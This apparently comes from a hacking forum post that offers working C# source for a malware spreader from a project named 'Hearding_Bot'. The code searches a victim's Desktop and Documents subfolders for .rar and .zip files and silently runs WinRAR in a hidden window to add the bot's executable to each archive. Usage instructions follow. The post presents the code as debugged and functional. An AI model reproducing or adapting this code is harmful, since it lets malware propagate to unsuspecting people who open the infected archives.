• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

C# Working RAR & ZIP Spreader. [C#]

Status
Not open for further replies.

Nax

Leech
User
Joined
Oct 18, 2011
Messages
275
Reputation
0
Reaction score
115
Points
43
Credits
0
‎13 Years of Service‎
92%
Credits go to t0fx for the general idea, and API decelerations.

I merely re-wrote the spread function, fixed a lot of bugs, and got it to actually work.

Code:
>using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace Hearding_Bot
{
   class RAR
   {
               [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
       public static extern int GetShortPathName([MarshalAs(UnmanagedType.LPTStr)] string path, [MarshalAs(UnmanagedType.LPTStr)] StringBuilder shortPath, int shortPathLength);
       public static List Paths = new List();
       public static List Directories = new List();
       public static bool checkRAR()
       {
           if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFi​les) + "\\WinRAR"))
           {
               //WinRAR is not installed
               return false;
           }
           else { return true; }
       }
       public static bool PopulateList()
       {
           if (Paths.Count - 1 <= 0)
           {
               Paths.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
               Paths.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments))​;
               Paths.Add(Environment.GetFolderPath(Environment.SpecialFolder.Personal));
               return true;
           }
           else{ return true; }
       }
       public static void Search()
       {
           foreach (string directories in Paths)
           {
               foreach (string dir in Directory.GetDirectories(directories))
               {
                   Directories.Add(dir);
               }
           }
           Sift();
       }
       public static void Sift()
       {
           foreach (string dir in Directories)
           {
               foreach (string file in Directory.GetFiles(dir))
               {
                   if (file.EndsWith(".rar") || file.EndsWith(".zip"))
                   {
                       Inject(file);
                   }
               }
           }
       }
       public static void Inject(string Inject)
       {
           string rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\WinRAR\\WinRAR.exe";

           StringBuilder exePath = new StringBuilder(255);
           GetShortPathName(Path.Combine(Config.installPath, Config.installFile), exePath, exePath.Capacity);
           string path = exePath.ToString();

           StringBuilder archivePath = new StringBuilder(255);
           GetShortPathName(Inject, archivePath, archivePath.Capacity);

           try
           {
               ProcessStartInfo startInfo = new ProcessStartInfo();
               startInfo.Arguments = " a " + archivePath + " " + path;
               startInfo.FileName = rarPath;
               startInfo.WindowStyle = ProcessWindowStyle.Hidden;
               Process.Start(startInfo);
               //successful spread
           }
           catch { //error }
       }
   }
}
Call if like so

Code:
>
if (RAR.checkRAR())
                           if (RAR.PopulateList())
                               RAR.Search();
 
Status
Not open for further replies.
Back
Top